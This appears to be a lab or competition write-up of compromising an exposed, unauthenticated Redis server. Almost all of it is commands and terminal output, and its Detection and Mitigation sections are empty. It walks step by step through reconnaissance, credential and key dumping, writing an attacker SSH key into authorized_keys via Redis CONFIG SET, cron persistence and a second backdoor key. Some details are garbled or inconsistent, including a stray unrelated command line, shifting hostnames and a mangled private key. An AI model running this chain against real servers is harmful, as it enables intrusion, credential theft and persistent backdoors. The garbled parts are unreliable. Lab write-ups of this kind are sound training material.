

Vulnerability Overview

- Name/Type: Redis Unauthenticated Access / Service Misconfiguration
 - Redis was deployed with no authentication, bound to all network interfaces, and with protected mode disabled. This allows attackers to easily perform reconnaissance on the Redis deployment, connect to it, and write both their own keys and dump data from Redis.
- CVE (if applicable): No specific CVE
 - This is a misconfiguration vulnerability rather than a known software bug with Redis. However, the vulnerability is very closely related to the general class of unauthenticated Redis attacks documented widely since 2015.
- Severity: Critical
 - An attacker with network access can read and write arbitrary data, execute Redis commands, and can inject SSH keys for persistence all with zero authentication.
- Impact: Full System Compromise
 - The attack chain goes from unauthenticated Redis access to sensitive data exfiltration (credentials, application data, stored key value pairs on Redis) to writing attacker SSH keys to then gaining access to the shell to establish persistence and other post-exploitation techniques. In a competition environment, this single misconfiguration can give attackers complete control over the target machine.
- Attack Vector: Network-based
 - An attacker would first find the vulnerable Redis service through a port scan and see port 6379 open to connections. The attacker would then be able to connect with ‘redis-cli’ with no credentials needed due to the misconfiguration. Once connected via ‘redis-cli’, attackers can then dump sensitive data or use administrative Redis commands like ‘CONFIG SET’ to write their own SSH keys to the Redis user’s ‘authorized_keys’ file allowing them to gain persistence on the target machine.

Exploitation Steps

1. Reconnaissance

a. Nmap Scan:

```
cory@DESKTOP-54G57TE:/mnt/c/Users/Cory$ date; whoami; nmap -sV 192.168.157.130 -p 80,6379,5000
Fri Feb  6 15:43:37 EST 2026
cory
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-06 15:43 EST
Nmap scan report for 192.168.157.130
Host is up (0.00088s latency).

PORT      STATE    SERVICE VERSION
80/tcp    open     http    nginx 1.24.0 (Ubuntu)
5000/tcp   filtered upnp
6379/tcp  open     redis   Redis key-value store 7.0.15
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.35 seconds
cory@DESKTOP-54G57TE:/mnt/c/Users/Cory$ |
```

i.

ii. Significance:

1. The scan reveals the version of services used which are: Redis 7.0.15 exposed on port 6379 and Nginx 1.24.0 on port 80. The useful information found here is that Redis is open to the network making it a prime target for further investigation.

b. Nikto

```
cory@DESKTOP-54G57TE:/mnt/c/Users/Cory$ nikto -h http://192.168.157.130
- Nikto v2.1.5
-----
+ Target IP:          192.168.157.130
+ Target Hostname:    192.168.157.130
+ Target Port:        80
+ Start Time:         2026-02-06 17:30:00 (GMT-5)
-----
+ Server:             nginx/1.24.0 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: OPTIONS, GET, HEAD

+ 6544 items checked: 0 error(s) and 2 item(s) reported on remote host
+ End Time:            2026-02-06 17:30:12 (GMT-5) (12 seconds)
-----
+ 1 host(s) tested
cory@DESKTOP-54G57TE:/mnt/c/Users/Cory$ |
```

i.

ii. Significance:

1. This web vulnerability scan confirms that the target machine is running Nginx and identifies missing security headers (X-Frame-Options). Now, while no vulnerabilities were found, the lack of basic security headers hints that the target machine is not secure and worth investigating.

c. Curl

```
* I host(s) tested
cory@DESKTOP-54G57TE:/mnt/c/Users/Cory$ curl -I http://192.168.157.130
HTTP/1.1 200 OK
Server: nginx/1.24.0 (Ubuntu)
Date: Fri, 06 Feb 2026 22:31:02 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 3910
Connection: keep-alive
```

i. `cory@DESKTOP-54G57TE:/mnt/c/Users/Cory$ |`

ii. Significance:

1. The curl performed checks header information and confirmed that the server responds on port 80 with Nginx and reveals none of the typical security headers a hardened machine hosting a web resource should have. An example of those security headers could be X-Content-Type-Options or X-XSS-Protection, neither appear. This confirms that the target machine is not secure making it a target of interest for further investigation.

2. Enumerate

a. Server Info

```
cory@DESKTOP-54G57TE:/mnt/c/Users/Cory$ redis-cli -h 192.168.157.130
192.168.157.130:6379> INFO server
# Server
redis_version:7.0.15
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:62c7a5d52c72f4cd
redis_mode:standalone
os:Linux 6.14.0-37-generic x86_64
arch_bits:64
monotonic_clock:POSIX clock_gettime
multiplexing_api:epoll
atomicvar_api:c11-builtin
gcc_version:13.3.0
process_id:11992
process_supervised:systemd
run_id:79be52204b2cf627e2b0057147f0c8014beb720d
tcp_port:6379
server_time_usecs:1770417557713005
uptime_in_seconds:13311
uptime_in_days:0
hz:10
configured_hz:10
lru_clock:8809877
executable:/usr/bin/redis-server
config_file:/etc/redis/redis.conf
io_threads active:0
```

i.

b. Keys Dump

```
192.168.157.130:6379> KEYS *
1) "flag:secret"
2) "app:name"
3) "user:admin"
4) "app:version"
192.168.157.130:6379> GET glaf:secret
(nil)
192.168.157.130:6379> GET flag:secret
"FLAG{r3d1s_unauth_acc3ss_ftw}"
```

i.

c. GET's

```
192.168.157.130:6379> GET flag:secret
"FLAG{r3d1s_unauth_acc3ss_ftw}"
192.168.157.130:6379> GET app:name
"Vulnerable Redis Manager"
```

i.

d. HGETALL

```
192.168.157.130:6379> HGETALL user:admin
1) "username"
2) "admin"
3) "password"
4) "admin123!"
5) "role"
6) "administrator"
192.168.157.130:6379> exit
cory@DESKTOP-54G57TE:/mnt/c/Users/Cory$ |
```

i.

3. Attacker Writes Their Own SSH Key

- a. Key is generated attacker side:

```
cory@DESKTOP-54G57TE:/mnt/c/Users/Cory$ ssh-keygen -t ed25519 -f ~/red_team_key -N ""
Generating public/private ed25519 key pair.
Your identification has been saved in /home/cory/red_team_key
Your public key has been saved in /home/cory/red_team_key.pub
The key fingerprint is:
SHA256:e4SKIDyapi/UoJnIf59jLze7vs7/06VagLej3B12GHI cory@DESKTOP-54G57TE
The key's randomart image is:
+--[ED25519 256]--+
| . .
| . .
| ==+ S..+ E
| *=.o . . o. = o.
| +. . . . . o =o.
| + . . +++o =oo
| .o. . ooB@*+o+o
+---[SHA256]---
```

- b. Key is written into a file to be planted inside the vulnerable Redis deployment:

- ```
[...]
cory@DESKTOP-54G57TE:/mnt/c/Users/Cory$ (echo -e "\n\n"; cat ~/red_team_key.pub; echo -e "\n\n") > ~/payload.txt
```

- c. Write the file that contains the attacker SSH key into Redis

- ```
cory@DESKTOP-54G57TE:/mnt/c/Users/Cory$ redis-cli -h 192.168.157.130 SET sshkey "$(cat ~/payload.txt)"  
OK
```

- d. Point Redis to write authorized_keys from planted attacker SSH key

```
cory@DESKTOP-54G57TE:/mnt/c/Users/Cory$ redis-cli -h 192.168.157.130 CONFIG SET dir /var/lib/redis/.ssh  
OK  
cory@DESKTOP-54G57TE:/mnt/c/Users/Cory$ redis-cli -h 192.168.157.130 CONFIG SET dbfilename authorized_keys  
OK  
cory@DESKTOP-54G57TE:/mnt/c/Users/Cory$ redis-cli -h 192.168.157.130 CONFIG SAVE  
(error) ERR unknown subcommand 'SAVE'. Try CONFIG HELP.  
cory@DESKTOP-54G57TE:/mnt/c/Users/Cory$ redis-cli -h 192.168.157.130 SAVE  
OK  
cory@DESKTOP-54G57TE:/mnt/c/Users/Cory$
```

- #### 4 Attacker SSH's In Using the Planted Key Now In 'authorized_keys'

```
cory@DESKTOP-54G57TE:/mnt/c/Users/Cory$ ssh -i ~/red_team_key redis@192.168.157.130
Welcome to Ubuntu 24.04.3 LTS (GNU/Linux 6.14.0-37-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

Expanded Security Maintenance for Applications is not enabled.

67 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

11 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm

Last login: Sat Feb  7 14:56:29 2026 from 192.168.157.1
redis@mini-drone-1-Virtual-Platform:~$ whoami
redis
redis@mini-drone-1-Virtual-Platform:~$ |
```

Post-Exploitation

[At this point, the attacker has shell access to Redis as the default Redis user and can read sensitive files]

1. Post-exploitation: Dumping Credentials / Data Access

a. Dumping /etc/passwd

```
redis@mini-drone-1-VMware-Virtual-Platform:~$ echo -e "\n\n ATTACKER - Reading Sensitive Files \n\n"; cat /etc/passwd

ATTACKER - Reading Sensitive Files

root:x:0:0:root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:996:996:systemd Time Synchronization:/:/usr/sbin/nologin
dhpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhpcd:/bin/false
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
syslog:x:102:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:991:991:systemd Resolver:/:/usr/sbin/nologin
uuidd:x:103:103::/run/uuidd:/usr/sbin/nologin
usbmux:x:104:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
tss:x:105:105:TPM software stack,,,:/var/lib/tpm:/bin/false
systemd-oom:x:990:990:systemd Userspace OOM Killer:/:/usr/sbin/nologin
kernoops:x:106:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
whoopsie:x:107:109::/nonexistent:/bin/false
dnsmasq:x:999:65534:dnsmasq:/var/lib/misc:/usr/sbin/nologin
avahi:x:108:111:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
tcpdump:x:109:112::/nonexistent:/usr/sbin/nologin
sssd:x:110:113:sssd system user,,,:/var/lib/sss:/usr/sbin/nologin
speech-dispatcher:x:111:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
cups-pk-helper:x:112:114:user for cups-pk-helper service,,,:/nonexistent:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
saned:x:113:116:/var/lib/saned:/usr/sbin/nologin
geoclue:x:114:117:/var/lib/geoclue:/usr/sbin/nologin
cups-browsed:x:115:114::/nonexistent:/usr/sbin/nologin
hplip:x:116:7:HPLIP system user,,,:/run/hplip:/bin/false
gnome-remote-desktop:x:988:988:GNOME Remote Desktop:/var/lib/gnome-remote-desktop:/usr/sbin/nologin
polkitd:x:987:987:User for polkitd:/:/usr/sbin/nologin
rtkit:x:117:119:RealtimeKit,,,:/proc:/usr/sbin/nologin
colord:x:118:120:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
gnome-initial-setup:x:119:65534:/run/gnome-initial-setup:/bin/false
gdm:x:120:121:Gnome Display Manager:/var/lib/gdm3:/bin/false
nm-openvpn:x:121:122:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
mini-drone-1:x:1000:1000:MINI-DRONE-1:/home/mini-drone-1:/bin/bash
sshd:x:122:65534:/run/sshd:/usr/sbin/nologin
redis:x:123:124:/var/lib/redis:/bin/bash
flaskapp:x:997:984:Flask vulnerable app service account:/home/flaskapp:/usr/sbin/nologin
redis@mini-drone-1-VMware-Virtual-Platform:~$ |
```

b. Dumping all data from Redis

```
redis@mini-drone-1-VMware-Virtual-Platform:~$ redis-cli
127.0.0.1:6379> KEYS *
1) "flag:secret"
2) "app:name"
3) "user:admin"
4) "app:version"
5) "sshkey"
127.0.0.1:6379> GET flag:secret
"FLAG{r3d1s_unauth_acc3ss_ftw}"
127.0.0.1:6379> HGETALL user:admin
1) "username"
2) "admin"
3) "password"
4) "admin123!"
5) "role"
6) "administrator"
127.0.0.1:6379> |
```

c. Dumping SSH keys from /var/lib/redis/.ssh/authorized_keys

```
redis@mini-drone-1-VMware-Virtual-Platform:~$ ls -la /var/lib/redis/
total 32
drwxr-xr-x  6 redis  redis  4096 Feb  7 15:56 .
drwxr-xr-x  72 root   root   4096 Feb  6 11:20 ..
drwx----- 2 redis  redis  4096 Feb  7 14:56 .cache
-rw-rw---- 1 redis  redis  385 Feb  7 14:49 dump.rdb
drwx----- 3 redis  redis  4096 Feb  7 14:56 .local
-rw----- 1 redis  redis  47 Feb  7 15:57 .rediscli_history
drwx----- 3 redis  redis  4096 Feb  7 14:56 snap
drwx----- 2 redis  redis  4096 Feb  7 14:50 .ssh
redis@mini-drone-1-VMware-Virtual-Platform:~$ ls -la /var/lib/redis/.ssh
ls: cannot access '/var/lib/redis/.ssh': No such file or directory
redis@mini-drone-1-VMware-Virtual-Platform:~$ ls -la /var/lib/redis/.ssh
total 12
drwx----- 2 redis  redis  4096 Feb  7 14:50 .
drwxr-xr-x  6 redis  redis  4096 Feb  7 15:56 ..
-rw-rw---- 1 redis  redis  385 Feb  7 14:50 authorized_keys
redis@mini-drone-1-VMware-Virtual-Platform:~$ cat /var/lib/redis/.ssh/authorized_keys
REDIS0010#      redis-ver7.0.15*
redis-bits@0@ctime@@iused-mem@P aof-base@@
                                         flag:secretFLAG{r3d1s_unauth_acc3ss_ftw}app:nameVulnerable Redis Manager
user:admin@BB@username  *admin*password *admin123!
*role*administrator*
app:version1.0.0sshkey@h

sshe-ed25519 AAAAC3NzaC1ZD1lNTE5AAAAIN9t0gBbfAFxFcc30kRU1+lgffofw1acF1Qrt800knr8 cory@DESKTOP-54G57TE@JP***redis@mini-drone-1-VMware-Virtual-Platform:~$ 
redis@mini-drone-1-VMware-Virtual-Platform:~$ 
redis@mini-drone-1-VMware-Virtual-Platform:~$ |
```

2. Post-exploitation: Persistence

a. Create cron job for persistence

i. As the compromised Redis user, open the cron tab

```
redis@mini-drone-1-VMware-Virtual-Platform:/tmp$ cd ..  
redis@mini-drone-1-VMware-Virtual-Platform:$ crontab -e
```

ii. Write a cron job for persistence

```
GNU nano 7.2  
# Edit this file to introduce tasks to be run by cron.  
#  
# Each task to run has to be defined through a single line  
# indicating with different fields when the task will be run  
# and what command to run for the task  
#  
# To define the time you can provide concrete values for  
# minute (m), hour (h), day of month (dom), month (mon),  
# and day of week (dow) or use '*' in these fields (for 'any').  
#  
# Notice that tasks will be started based on the cron's system  
# daemon's notion of time and timezones.  
#  
# Output of the crontab jobs (including errors) is sent through  
# email to the user the crontab file belongs to (unless redirected).  
#  
# For example, you can run a backup of all your user accounts  
# at 5 a.m every week with:  
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/  
#  
# For more information see the manual pages of crontab(5) and cron(8)  
#  
# m h dom mon dow command  
  
* * * * * echo "attacker has placed a script in cron for persistance" >> /tmp/persistance_test1
```

iii. After whatever time was set for the malicious cron job to run, verify it works

```
redis@mini-drone-1-VMware-Virtual-Platform:/tmp$ cat /tmp/persistance_test1  
attacker has placed a script in cron for persistance
```

- b. Attacker is able to exit SSH session and re-enter showing persistence because their SSH key has been written to ‘authorized_keys’

```
redis@mini-drone-1-VMware-Virtual-Platform:/$ exit
logout
Connection to 192.168.157.130 closed.
cory@DESKTOP-54G57TE:/mnt/c/Users/Cory$ ssh -i ~/red_team_key redis@192.168.157.130
Welcome to Ubuntu 24.04.3 LTS (GNU/Linux 6.14.0-37-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

Expanded Security Maintenance for Applications is not enabled.

67 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

11 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm

Last login: Sat Feb  7 15:48:14 2026 from 192.168.157.1
redis@mini-drone-1-VMware-Virtual-Platform:~$ |
```

- c. Attacker can write a second attacker SSH key to ‘authorized_keys’ to increase persistence

- i. Attacker creates another SSH key

```
cory@DESKTOP-54G57TE:/mnt/c/Users/Cory$ ssh-keygen -t ed25519 -f ~/second_attacker_key -N ""
Generating public/private ed25519 key pair.
Your identification has been saved in /home/cory/second_attacker_key
Your public key has been saved in /home/cory/second_attacker_key.pub
The key fingerprint is:
SHA256:eBpeH3UlzK05PLlicEoLHC3ThradqRdB2MbIjggPJ8 cory@DESKTOP-54G57TE
The key's randomart image is:
+--[ED25519 256]--+
| . . .
| o .+ o o = o
| E +.+.+ @. .
| .oS* =.O.O.
| o*X.o.+ B..
| ..=o+. .o o
| ...
+----[SHA256]----+
cory@DESKTOP-54G57TE:/mnt/c/Users/Cory$ cat ~/second_attacker_key
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktbjEAAAAABG5vb0mUAAAEBm9uZQAAAAAAAAABAAAAMWAAAAAtzc2gtZW
QyNTUxOQAAAClDPZRdm+ivl!kDF+MDKf2nZYMeXN8oW9JbFTF7empETQ/AAJgp1UPBKdVD
wQAAAAtzc2gtZWQyN8oW9JbFTF7empETQ/AAJgp1UPBKdVD
-----END OPENSSH PRIVATE KEY-----
cory@DESKTOP-54G57TE:/mnt/c/Users/Cory$ |
```

- ii. Attackers set their second SSH key on the Redis target

```
cory@DESKTOP-54G57TE:/mnt/c/Users/Cory$ redis-cli -h 192.168.157.130 SET second_backdoor_key "$(cat ~/second_attacker_key.pub)"
OK
 1> DELETEREPLICATOR /mnesia/1/memtable/secondary
```

- iii. Remake payload to hold both the secondary key and the old key

```
cory@DESKTOP-54G57TE:/mnt/c/Users/Cory$ {echo -e "\n\n"; cat ~/red_team_key.pub; echo -e "\n\n"; cat ~/red_team_key.pub; echo -e "\n\n"} > ~/new_payload.txt
cory@DESKTOP-54G57TE:/mnt/c/Users/Cory$ |
```

iv. Point Redis to write the new payload to ‘authorized_keys’

```
cory@DESKTOP-54G57TE:/mnt/c/Users/Cory$ redis-cli -h 192.168.157.130 SET sshkey "$(cat ~/new_payload.txt)"  
OK  
cory@DESKTOP-54G57TE:/mnt/c/Users/Cory$ redis-cli -h 192.168.157.130 CONFIG SET dir /var/lib/redis/.ssh  
OK  
cory@DESKTOP-54G57TE:/mnt/c/Users/Cory$ redis-cli -h 192.168.157.130 CONFIG SET dbfilename authorized_keys  
OK  
cory@DESKTOP-54G57TE:/mnt/c/Users/Cory$ redis-cli -h 192.168.157.130 SAVE  
OK  
cory@DESKTOP-54G57TE:/mnt/c/Users/Cory$ |
```

v. Attacker now has a second door to access the machine

```
cory@DESKTOP-54G57TE:/mnt/c/Users/Cory$ ssh -i ~/second_attacker_key redis@192.168.157.130  
Welcome to Ubuntu 24.04.3 LTS (GNU/Linux 6.14.0-37-generic x86_64)  
  
* Documentation:  https://help.ubuntu.com  
* Management:    https://landscape.canonical.com  
* Support:       https://ubuntu.com/pro  
  
Expanded Security Maintenance for Applications is not enabled.  
  
67 updates can be applied immediately.  
To see these additional updates run: apt list --upgradable  
  
11 additional security updates can be applied with ESM Apps.  
Learn more about enabling ESM Apps service at https://ubuntu.com/esm  
  
Last login: Sat Feb  7 16:10:36 2026 from 192.168.157.1  
redis@mini-drone-1-VMware-Virtual-Platform:~$ whoami  
redis  
redis@mini-drone-1-VMware-Virtual-Platform:~$ |
```

Detection

Mitigation